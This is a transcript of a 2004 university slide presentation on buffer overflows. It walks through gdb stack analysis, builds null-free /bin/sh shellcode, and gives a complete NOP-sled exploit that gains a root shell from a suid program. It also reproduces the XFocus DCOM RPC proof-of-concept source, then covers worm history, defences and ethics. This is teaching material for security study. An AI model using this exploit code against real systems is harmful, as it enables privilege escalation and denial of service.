1 / 44

Buffer Overflows

Buffer Overflows. COT 4810 Ken Pritchard 26 Oct 04. Overview. Introduction History Common Exploit Examples Avoiding Exploits Ethical Issues. Introduction. A buffer overflow occurs when an area of memory is filled with more data than it can hold.

kaylee
Download Presentation

Buffer Overflows

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Buffer Overflows COT 4810 Ken Pritchard 26 Oct 04

  2. Overview Introduction History Common Exploit Examples Avoiding Exploits Ethical Issues

  3. Introduction • A buffer overflow occurs when an area of memory is filled with more data than it can hold. • Languages that do not perform bounds checking are far more susceptible to overflows than those that do. • Buffer overflows can occur in stack memory or heap memory. • The most common type is an overflow of a local character array in C that is allocated on the stack.

  4. D:\BufferOverflowExamples>gdb trivial (gdb) disas main Dump of assembler code for function main: 0x0040107f <main+0>: push %ebp 0x00401080 <main+1>: mov %esp,%ebp 0x00401082 <main+3>: sub $0x4,%esp 0x00401085 <main+6>: call 0x401400 <__main> 0x0040108a <main+11>: call 0x401060 <function> 0x0040108f <main+16>: movl $0x40300f,(%esp,1) 0x00401096 <main+23>: call 0x401420 <printf> 0x0040109b <main+28>: leave 0x0040109c <main+29>: ret End of assembler dump. (gdb) disas function Dump of assembler code for function function: 0x00401060 <function+0>: push %ebp 0x00401061 <function+1>: mov %esp,%ebp 0x00401063 <function+3>: sub $0x14,%esp 0x00401066 <function+6>: movl $0x403000,(%esp,1) 0x0040106d <function+13>: call 0x401420 <printf> 0x00401072 <function+18>: lea 0xfffffff0(%ebp),%eax 0x00401075 <function+21>: mov %eax,(%esp,1) 0x00401078 <function+24>: call 0x401410 <gets> 0x0040107d <function+29>: leave 0x0040107e <function+30>: ret End of assembler dump. (gdb) break *0x0040106d Breakpoint 1 at 0x40106d: file trivial.c, line 4. (gdb) break *0x0040107d Breakpoint 2 at 0x40107d: file trivial.c, line 6. (gdb) r Starting program: BufferOverflowExamples/trivial.exe Breakpoint 1, 0x0040106d in function () at trivial.c:4 4 printf("Enter string: "); (gdb) info stack #0 0x0040106d in function () at trivial.c:4 #1 0x0040108f in main () at trivial.c:10 (gdb) c Continuing. Enter string: AAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 2, function () at trivial.c:6 6 } (gdb) info stack #0 function () at trivial.c:6 #1 0x41414141 in ?? () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) q The program is running. Exit anyway? (y or n) y // trivial.cvoid function(){ char buffer1[5]; printf("Enter string: "); gets(buffer1);}void main(){ function(); printf("Thank you!\n");}

  5. Breakpoint 1, main () at trivial.c:10 10 function(); (gdb) info r eax 0x0 0 ecx 0x6111718c 1628533132 edx 0x0 0 ebx 0x4 4 esp 0x22f014 0x22f014 ebp 0x22f018 0x22f018 esi 0x610ef060 1628368992 edi 0x61005aa0 1627413152 eip 0x40108a 0x40108a eflags 0x246 582 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x38 56 gs 0x0 0 (gdb) info frame Stack level 0, frame at 0x22f020: eip = 0x40108a in main (trivial.c:10); saved eip 0x61005f34 source language c. Arglist at 0x22f018, args: Locals at 0x22f018, Previous frame's sp is 0x22f020 Saved registers: ebp at 0x22f018, eip at 0x22f01c (gdb) c Continuing. Breakpoint 3, 0x0040106d in function () at trivial.c:4 4 printf("Enter string: "); (gdb) info locals buffer1 = "\fd\"\000\n" (gdb) print &buffer1 $1 = (char (*)[5]) 0x22effc (gdb) x/6w 0x22effc 0x22effc: 0x0022f00c 0x6100630a 0x61004650 0x00000000 0x22f00c: 0x0022f018 0x0040108f (gdb) c Continuing. Enter string: AAAAAAAAAAAAAAA Breakpoint 4, function () at trivial.c:6 6 } (gdb) x/6w 0x22effc 0x22effc: 0x41414141 0x41414141 0x41414141 0x00414141 0x22f00c: 0x0022f018 0x0040108f (gdb) c Continuing. Thank you! Breakpoint 2, main () at trivial.c:12 12 } (gdb) c Continuing. Program exited with code 013. (gdb) q

  6. Stack Memory

  7. // modify_return.c #include <stdio.h> void function() { char buffer1[5];int * ret;printf("Enter offset: ");fgets(buffer1, 4, stdin);ret = buffer1 + atoi(buffer1);printf("Enter increment: ");fgets(buffer1, 4, stdin);(*ret) += atoi(buffer1); } void main() {function();printf("Thank you!\n"); } D:\BufferOverflowExamples>gdb modify_return (gdb) disas main Dump of assembler code for function main: 0x004010ee <main+0>: push %ebp 0x004010ef <main+1>: mov %esp,%ebp 0x004010f1 <main+3>: sub $0x4,%esp 0x004010f4 <main+6>: call 0x401470 <__main> 0x004010f9 <main+11>: call 0x401060 <function> 0x004010fe <main+16>: movl $0x403021,(%esp,1) 0x00401105 <main+23>: call 0x4014b0 <printf> 0x0040110a <main+28>: leave 0x0040110b <main+29>: ret End of assembler dump. (gdb) disas function Dump of assembler code for function function: 0x00401060 <function+0>: push %ebp 0x00401061 <function+1>: mov %esp,%ebp 0x00401063 <function+3>: push %esi 0x00401064 <function+4>: push %ebx 0x00401065 <function+5>: sub $0x20,%esp 0x00401068 <function+8>: movl $0x403000,(%esp,1) 0x0040106f <function+15>: call 0x4014b0 <printf> 0x00401074 <function+20>: call 0x401490 <__getreent> 0x00401079 <function+25>: mov 0x4(%eax),%eax 0x0040107c <function+28>: mov %eax,0x8(%esp,1) 0x00401080 <function+32>: movl $0x4,0x4(%esp,1) 0x00401088 <function+40>: lea 0xffffffe8(%ebp),%eax 0x0040108b <function+43>: mov %eax,(%esp,1) 0x0040108e <function+46>: call 0x4014a0 <fgets> 0x00401093 <function+51>: lea 0xffffffe8(%ebp),%ebx 0x00401096 <function+54>: lea 0xffffffe8(%ebp),%eax 0x00401099 <function+57>: mov %eax,(%esp,1) 0x0040109c <function+60>: call 0x401480 <atoi> 0x004010a1 <function+65>: lea (%eax,%ebx,1),%eax 0x004010a4 <function+68>: mov %eax,0xffffffe4(%ebp) 0x004010a7 <function+71>: movl $0x40300f,(%esp,1) 0x004010ae <function+78>: call 0x4014b0 <printf> 0x004010b3 <function+83>: call 0x401490 <__getreent> 0x004010b8 <function+88>: mov 0x4(%eax),%eax 0x004010bb <function+91>: mov %eax,0x8(%esp,1) 0x004010bf <function+95>: movl $0x4,0x4(%esp,1) 0x004010c7 <function+103>: lea 0xffffffe8(%ebp),%eax 0x004010ca <function+106>: mov %eax,(%esp,1) 0x004010cd <function+109>: call 0x4014a0 <fgets> 0x004010d2 <function+114>: mov 0xffffffe4(%ebp),%esi 0x004010d5 <function+117>: mov 0xffffffe4(%ebp),%ebx 0x004010d8 <function+120>: lea 0xffffffe8(%ebp),%eax 0x004010db <function+123>: mov %eax,(%esp,1) 0x004010de <function+126>: call 0x401480 <atoi> 0x004010e3 <function+131>: add (%ebx),%eax 0x004010e5 <function+133>: mov %eax,(%esi) 0x004010e7 <function+135>: add $0x20,%esp 0x004010ea <function+138>: pop %ebx 0x004010eb <function+139>: pop %esi 0x004010ec <function+140>: pop %ebp 0x004010ed <function+141>: ret End of assembler dump.

  8. (gdb) break *0x0040106f Breakpoint 1 at 0x40106f: file modify_return.c, line 6. (gdb) break *0x004010ed Breakpoint 2 at 0x4010ed: file modify_return.c, line 12. (gdb) r Starting program: modify_return.exe Breakpoint 1, 0x0040106f in function () at modify_return.c:6 6 printf("Enter offset: "); (gdb) info frame Stack level 0, frame at 0x22f004: eip = 0x40106f in function (modify_return.c:6); saved eip 0x4010fe called by frame at 0x22f010 source language c. Arglist at 0x22effc, args: Locals at 0x22effc, Previous frame's sp is 0x22f004 Saved registers: ebx at 0x22eff4, ebp at 0x22effc, esi at 0x22eff8, eip at 0x22f000 (gdb) print &buffer1 $1 = (char (*)[5]) 0x22efe4 (gdb) x/8w 0x22efe4 0x22efe4: 0x610efea0 0x610ef060 0x0022effc 0x6100630a 0x22eff4: 0x00000004 0x610ef060 0x0022f008 0x004010fe (gdb) c Continuing. Enter offset:28 Enter increment:12 Breakpoint 2, 0x004010ed in function () at modify_return.c:12 12 } (gdb) x/8w 0x22efe4 0x22efe4: 0x000a3231 0x610ef060 0x0022effc 0x6100630a 0x22eff4: 0x00000004 0x610ef060 0x0022f008 0x0040110a (gdb) c Continuing. Program exited with code 010412. (gdb) q When the program prompts for an offset, we enter 28: 0x22f000 – 0x22efe4 = 1c or 28 When the program prompts for an increment, we enter 12: 0x40110a – 0x4010fe = c or 12 The end result is that we set the pointer to the stack where the IP is stored and then increment it to the instruction following the printf call, thereby skipping it.

  9. Overflow Problems • If the input is larger than the compiler has allotted to the buffer, some existing stack memory is overwritten. • The first item overwritten is the saved frame pointer. • The next item overwritten is the saved instruction pointer. • After that, it is overwriting areas from previous function calls. • It may be possible for the saved instruction pointer to be overwritten with a valid instruction. In that case, the user providing the input is able to execute arbitrary code.

  10. History • Buffer overflow exploits have been used for quite some time, especially in Internet worms. • One of the first Internet worms, the Morris Worm, took only hours to infect over 10% of all systems connected to the Internet in 1988. It caused most uninfected systems to be pulled off line. • The Morris Worm led to the creation of the Computer Emergency Response Team – CERT. • Buffer overflow exploits were also used by UNIX users to become root. • The Code Red worm exploited a buffer overflow in Microsoft IIS responding to an “HTTP GET” request in 1999. It was primarily a Denial of Service (DoS) attack. • In 2003, the SQL Slammer worm exploited a buffer overflow in the Microsoft Desktop Engine (MSDE) used in SQL Server. It was primarily a DoS attack, but the vulnerability exploited could have allowed access to any information in the database. Because of the speed of the infection and the amount of network traffic generated, most of the Internet was affected within hours.

  11. History Continued • Also in 2003, the MSBlaster worm spread among systems running Windows XP and Windows 2000. It exploited a buffer overflow in DCOM RPC and was the first exploit known to pop a shell on a Windows system. The damage done was DoS due to the worm reproducing. This worm was discovered after Microsoft released a patch to fix the flaw that it exploited. The creator downloaded the patch to see what it fixed and then exploited that flaw. Any system not yet patched was vulnerable. • The Sasser worm appeared in April of 2004 and exploited a buffer overflow in Local Security Authority Subsystem Service (lsass.exe). This program also caused a DoS by trying to reproduce. This worm was discovered after Microsoft released a patch to fix the flaw that it exploited. Any system not yet patched was vulnerable and, among others, it brought down computers at Delta Air Lines causing them to cancel several flights. • While the worms that gained the most attention did so by performing a DoS just by trying to reproduce, the flaws exploited could have allowed hundreds or perhaps thousands of others to quietly gain control of the same systems.

  12. Common Exploits • Privilege Escalation A program running at a higher privilege level is hijacked and forced to run the user’s code. • Network Worm A program searches over a network for a system to exploit, then reproduces on the infected system and the search continues from both systems.

  13. Typical Privilege Escalation • A process running at a higher privilege level is found. • An attempt is made to exploit the process. • If the process can be exploited, the attacker develops code called shellcode and tries to inject it into the vulnerable process. • If the attacker gains “root” access, the possibilities are endless.

  14. Shellcode Basics • The main idea behind shellcode is to get a desired program broken down into the raw hexadecimal instructions. • Once those instructions are obtained, they have to be injected into a running program and executed in place of the program’s instructions. • Typically the shellcode is injected into a vulnerable buffer so that the first instruction to execute replaces the saved instruction pointer.

  15. Creating Shellcode • Code a program to perform the desired task. • Compile it statically • Disassemble the executable and analyze the instructions. • Clean up and compact the assembly. • Extract the opcodes from the assembly to build the shellcode.

  16. Creating the Shell Executable • Create a program to spawn a shell: // shellcode.c #include <stdio.h> void main() { char * name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL) } • Compile it statically to get the instructions: [ken@acerlinux Shell]$ gcc -ggdb -static -o shellcode shellcode.c • Test the executable: [ken@acerlinux Shell]$ shellcode bash$ exit

  17. Disassemble Shell Executable [ken@acerlinux Shell]$ gdb shellcode (gdb) disas main Dump of assembler code for function main: 0x8048198 <main>: pushl %ebp 0x8048199 <main+1>: movl %esp,%ebp 0x804819b <main+3>: subl $0x8,%esp 0x804819e <main+6>: movl $0x806f308,0xfffffff8(%ebp) 0x80481a5 <main+13>: movl $0x0,0xfffffffc(%ebp) 0x80481ac <main+20>: pushl $0x0 0x80481ae <main+22>: leal 0xfffffff8(%ebp),%eax 0x80481b1 <main+25>: pushl %eax 0x80481b2 <main+26>: movl 0xfffffff8(%ebp),%eax 0x80481b5 <main+29>: pushl %eax 0x80481b6 <main+30>: call 0x804b9a0 <__execve> 0x80481bb <main+35>: addl $0xc,%esp 0x80481be <main+38>: leave 0x80481bf <main+39>: ret End of assembler dump. (gdb) disas __execve Dump of assembler code for function __execve: 0x804b9a0 <__execve>: pushl %ebx 0x804b9a1 <__execve+1>: movl 0x10(%esp,1),%edx 0x804b9a5 <__execve+5>: movl 0xc(%esp,1),%ecx 0x804b9a9 <__execve+9>: movl 0x8(%esp,1),%ebx 0x804b9ad <__execve+13>: movl $0xb,%eax 0x804b9b2 <__execve+18>: int $0x80 0x804b9b4 <__execve+20>: popl %ebx 0x804b9b5 <__execve+21>: cmpl $0xfffff001,%eax 0x804b9ba <__execve+26>: jae 0x804bca0 <__syscall_error> 0x804b9c0 <__execve+32>: ret End of assembler dump. (gdb) q

  18. Creating the Exit Executable • Create a program to exit: // exit.c# include <stdlib.h> void main() { exit(0); } • Compile it statically and disassemble: [ken@acerlinux Shell]$ gcc -ggdb -static -o exit exit.c [ken@acerlinux Shell]$ gdb exit (gdb) disas _exit Dump of assembler code for function _exit: 0x804b970 <_exit>: movl %ebx,%edx 0x804b972 <_exit+2>: movl 0x4(%esp,1),%ebx 0x804b976 <_exit+6>: movl $0x1,%eax 0x804b97b <_exit+11>: int $0x80 0x804b97d <_exit+13>: movl %edx,%ebx 0x804b97f <_exit+15>: cmpl $0xfffff001,%eax 0x804b984 <_exit+20>: jae 0x804bc60 <__syscall_error> End of assembler dump. (gdb) q

  19. Customize the Assembly • We have to analyze what the instructions are doing, take out the ones we don’t need, include the exit instructions, and compile it: // shellcodeasm.c void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } [ken@acerlinux Shell]$ gcc -ggdb -o shellcodeasm shellcodeasm.c

  20. Extract the Opcodes [ken@acerlinux Shell]$ gdb shellcodeasm (gdb) disas main Dump of assembler code for function main: 0x8048398 <main>: pushl %ebp 0x8048399 <main+1>: movl %esp,%ebp 0x804839b <main+3>: jmp 0x80483c7 <main+47> 0x804839d <main+5>: popl %esi 0x804839e <main+6>: movl %esi,0x8(%esi) 0x80483a1 <main+9>: movb $0x0,0x7(%esi) 0x80483a5 <main+13>: movl $0x0,0xc(%esi) 0x80483ac <main+20>: movl $0xb,%eax 0x80483b1 <main+25>: movl %esi,%ebx 0x80483b3 <main+27>: leal 0x8(%esi),%ecx 0x80483b6 <main+30>: leal 0xc(%esi),%edx 0x80483b9 <main+33>: int $0x80 0x80483bb <main+35>: movl $0x1,%eax 0x80483c0 <main+40>: movl $0x0,%ebx 0x80483c5 <main+45>: int $0x80 0x80483c7 <main+47>: call 0x804839d <main+5> 0x80483cc <main+52>: das 0x80483cd <main+53>: boundl 0x6e(%ecx),%ebp 0x80483d0 <main+56>: das 0x80483d1 <main+57>: jae 0x804843b 0x80483d3 <main+59>: addb %cl,%cl 0x80483d5 <main+61>: ret

  21. Extract the Opcodes Continued • Dump all the bytes to the screen as hex: (gdb) x/61bx main+3 0x804839b <main+3>: 0xeb 0x2a 0x5e 0x89 0x76 0x08 0xc60x46 0x80483a3 <main+11>: 0x07 0x00 0xc7 0x46 0x0c 0x00 0x000x00 0x80483ab <main+19>: 0x00 0xb8 0x0b 0x00 0x00 0x00 0x890xf3 0x80483b3 <main+27>: 0x8d 0x4e 0x08 0x8d 0x56 0x0c 0xcd0x80 0x80483bb <main+35>: 0xb8 0x01 0x00 0x00 0x00 0xbb 0x000x00 0x80483c3 <main+43>: 0x00 0x00 0xcd 0x80 0xe8 0xd1 0xff0xff 0x80483cb <main+51>: 0xff 0x2f 0x62 0x69 0x6e 0x2f 0x730x68 0x80483d3 <main+59>: 0x00 0xc9 0xc3 0x90 0x90 (gdb) q

  22. Creating Executable From Shellcode • Take all the hex and put it in a char array in a C file, then compile and test: //testsc.c char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\xc9\xc3\x90\x90"; void main() { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } [ken@acerlinux Shell]$ gcc -o testsc testsc.c [ken@acerlinux Shell]$ testsc bash$ exit

  23. Final Shellcode • That code works in a test but it won’t work if copied into a char buffer because of the null characters in the string. • All the null characters have to be removed so that strcpy, strcat, etc don’t stop there. • The code has to be analyzed to see if anything can be removed and/or changed so that there are no null bytes.

  24. Modified Assembly // shellcodeasm2.c void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } [ken@acerlinux Shell]$ gcc -o shellcodeasm2 -ggdb shellcodeasm2.c

  25. Extract the Opcodes [ken@acerlinux Shell]$ gdb shellcodeasm2 (gdb) disas main Dump of assembler code for function main: 0x8048398 <main>: pushl %ebp 0x8048399 <main+1>: movl %esp,%ebp 0x804839b <main+3>: jmp 0x80483bc <main+36> 0x804839d <main+5>: popl %esi 0x804839e <main+6>: movl %esi,0x8(%esi) 0x80483a1 <main+9>: xorl %eax,%eax 0x80483a3 <main+11>: movb %al,0x7(%esi) 0x80483a6 <main+14>: movl %eax,0xc(%esi) 0x80483a9 <main+17>: movb $0xb,%al 0x80483ab <main+19>: movl %esi,%ebx 0x80483ad <main+21>: leal 0x8(%esi),%ecx 0x80483b0 <main+24>: leal 0xc(%esi),%edx 0x80483b3 <main+27>: int $0x80 0x80483b5 <main+29>: xorl %ebx,%ebx 0x80483b7 <main+31>: movl %ebx,%eax 0x80483b9 <main+33>: incl %eax 0x80483ba <main+34>: int $0x80 0x80483bc <main+36>: call 0x804839d <main+5> 0x80483c1 <main+41>: das 0x80483c2 <main+42>: boundl 0x6e(%ecx),%ebp 0x80483c5 <main+45>: das 0x80483c6 <main+46>: jae 0x8048430 0x80483c8 <main+48>: addb %cl,%cl 0x80483ca <main+50>: ret

  26. Extract the Opcodes Continued • Dump all the bytes to the screen as hex: (gdb) x/50bx main+3 0x804839b <main+3>: 0xeb 0x1f 0x5e 0x89 0x76 0x08 0x310xc0 0x80483a3 <main+11>: 0x88 0x46 0x07 0x89 0x46 0x0c 0xb00x0b 0x80483ab <main+19>: 0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x560x0c 0x80483b3 <main+27>: 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x400xcd 0x80483bb <main+35>: 0x80 0xe8 0xdc 0xff 0xff 0xff 0x2f0x62 0x80483c3 <main+43>: 0x69 0x6e 0x2f 0x73 0x68 0x00 0xc90xc3 0x80483cb <main+51>: 0x90 0x90 (gdb) q

  27. Creating Executable From Shellcode • Take all the hex and put it in a char array in a C file, then compile and test: // testsc2.c char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } [ken@acerlinux Shell]$ gcc -o testsc2 testsc2.c [ken@acerlinux Shell]$ testsc2 bash$ exit

  28. Use the Shellcode to Build a Program • Use the final shellcode to build a program that can exploit a vulnerable process. • It can be very difficult to find the correct address to inject the code. • Padding the shellcode with no-operation (nop) instructions increases the odds of getting it in the right place. • In our example, we are going to exploit a program that is looking for command line input. • We will have our exploit program accept a buffer size and an offset to custom build the shellcode at a specified address and with a specified pad of nops. • To make it easier to pass the string, which will consist mostly of unprintable characters, it is put in an environment variable that will be passed as an argument and expanded by the shell.

  29. #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); }

  30. Getting a Root Shell // vulnerable.c void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } [ken@acerlinux Shell]$ gcc -ggdb -o vulnerable vulnerable.c [ken@acerlinux Shell]$ su Password: [root@acerlinux Shell]# chown root vulnerable [root@acerlinux Shell]# chmod +s vulnerable [root@acerlinux Shell]# exit exit [ken@acerlinux Shell]$ ls -l vulnerable -rwsr-sr-x 1 root wheel 12648 Oct 21 07:23 vulnerable [ken@acerlinux Shell]$ whoami ken [ken@acerlinux Shell]$ exploit 612 1600 Using address: 0xbffff51c [ken@acerlinux Shell]$ vulnerable $EGG bash# whoami root

  31. Worm Basics • At the heart of a worm, shellcode is going to be created and injected into a vulnerable program. • The shellcode will be not only the worm’s executable code, but also the payload that is going to be delivered. • Often, the worm is loaded in two stages. The first stage exploits a buffer and sends a small shellcode program that will load the rest.

  32. Worm Example - MSBlaster • The MSBlaster worm exploited an overflow in the Distributed Component Object Model (DCOM) that Windows uses for distributed applications. • The initial shellcode delivered to an attacked system caused the system to connect back to the attacker to get the rest of the program. • Once the rest of the program was delivered the attacked system became an attacker and started looking for more victims.

  33. // DCOM RPC exploit proof of concept // Posted by flashsky (flashsky1_at_sina.com) at XFocus // Based on work done by Last Stage of Delerium #include <winsock2.h> #include <stdio.h> #include <windows.h> #include <process.h> #include <string.h> #include <winbase.h> unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46, 0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; unsigned char request[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00, 0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00, 0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31, 0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};

  34. void main(int argc,char ** argv) { WSADATA WSAData; int i; SOCKET sock; SOCKADDR_IN addr_in; short port=135; unsigned char buf1[0x1000]; printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n"); printf("Code by FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org\n"); printf("Welcome to http://www.xfocus.net\n"); if(argc<2) { printf("useage:%s target\n",argv[0]); exit(1); } if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf("WSAStartup error.Error:%d\n",WSAGetLastError()); return; } addr_in.sin_family=AF_INET; addr_in.sin_port=htons(port); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { printf("Socket failed.Error:%d\n",WSAGetLastError()); return; } if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { printf("Connect failed.Error:%d",WSAGetLastError()); return; } if (send(sock, (char *)bindstr,sizeof(bindstr),0)==SOCKET_ERROR) { printf("Send failed.Error:%d\n",WSAGetLastError()); return; } i=recv(sock, (char *)buf1,1024,MSG_PEEK); if (send(sock, (char *)request,sizeof(request),0)==SOCKET_ERROR) { printf("Send failed.Error:%d\n",WSAGetLastError()); return; } i=recv(sock, (char *)buf1,1024,MSG_PEEK); }

  35. Typical Worm Behavior • The initial program is released. • It starts looking for vulnerable systems. • When it finds a vulnerable system, it will try to exploit the buffer overflow and send itself as the executable code. Often there are no files on disk. Sometimes there is a file left and some modification made to the system so that the program starts again on boot. • If it is successful in executing its own code on the attacked system, then the attacked system starts doing the same thing. • The number of affected systems can grow exponentially and use all available bandwidth looking for more victims.

  36. Network Overflow Attack Attacker Victim Attacking system exploits victim and sends a copy of itself. The victim becomes an attacker and finds more victims.

  37. Overflow Avoidance - Coding • Check the bounds of a buffer before writing to it. • Use functions that allow the programmer to limit the size and format of input. • Avoid dangerous functions like scanf(), fscanf(), strcpy(), strcat(), and gets(). • For applications consider alternative languages like Java and C#.

  38. Overflow Avoidance - Testing • Buffer overflows are problems made by a programmer that should be discovered during testing. • All possible input should be tested, especially input from an external, uncontrollable source. • Any possible input should be handled in some way.

  39. Overflow Avoidance - Administration • Don’t use suid root applications. Create a special user for that application if necessary. • Close any unnecessary ports. • Use some type of firewall to limit access to private systems.

  40. Overflow Avoidance - Tools • Automated source code checking. Polyspace Technologies provides a product that will analyze source code for a number of problems including buffer overflows. Adds no cost to execution. • Stack monitoring. Immunix provides a patch for gcc that places a “canary” word on the stack near the function start. When the function returns, it first checks the integrity of the “canary” word to see if the stack is corrupted. • Make the stack non-executable. This is an option on most operating systems and available as a patch for Linux; however, the shellcode could be placed somewhere else and a jump forced.

  41. Overflow Avoidance - Patch • Patch standard C libraries so that the more exploitable functions become less exploitable. This adds overhead at execution and does not guarantee no overflows. • SecureSize provides the BOWall product that does this. • IBM sells the Rational product suite that includes their Purify product that does runtime bounds checking along with a number of other checks.

  42. Ethical Issues • Programmers have a responsibility to be as careful as possible and not make any obvious mistakes. • Software companies have a responsibility to perform adequate unit and regression testing to ensure that their software performs correctly with all input. • System administrators also have a responsibility to shut off non-essential services and ports and restrict permissions on programs. • Someone who detects a software flaw should deliver a proof of concept exploit to the software maker so that a patch can be created. That person should not post the flaw publicly or create the worlds next great Internet worm.

  43. Summary • Buffer overflows are the result of an error in a program that results in the program placing more data in a buffer than it can hold. • If large enough, a buffer overflow can crash the program. • Specially crafted code can be injected into the overflow to allow arbitrary code execution. • Buffer overflows can be exploited to get privileged access to a system. • A number of Internet worms have used buffer overflow exploits to cause a DoS condition. • An adequate test plan should be developed that will ensure that a program can accept any input, even incorrect input. • Programmers should make bounds checks when a program might receive erroneous input. • Dangerous functions, like gets() and strcpy(), should not be used. • There are automatic source auditing tools available to search for possible buffer overflow conditions. • There are runtime tools that can check overflow conditions and halt the program. • There are ethical issues surrounding buffer overflows both on the side of the programmers that create them and the people who discover them.

  44. References Peikari, Cyrus and Anton Chuvakin Security Warrior. Sebastopol: O’Reilly & Associates, 2004 Koziol, Jack, et al The Shellcoder’s Handbook. Indianapolis: Wiley Publishing, Inc, 2004 Conway, Richard and Julian Cordingley Code Hacking. Hingham: Charles River Media, Inc, 2004 Dunteman, Jeff Assembly Language Step-by-Step. New York: Wiley Publishing, Inc, 2000 http://www.xfocus.org/advisories/200307/4.html http://www.phrack.org/show.php?p=49&a=14 http://en.wikipedia.org/wiki/Notable_computer_viruses_and_worms http://www.snowplow.org/tom/worm/worm.html http://www.polyspace.com/index.htm http://immunix.org/technology/compiler.php http://www.securesize.com/BOWall/index.shtml http://www-306.ibm.com/software/awdtools/purifyplus/

More Related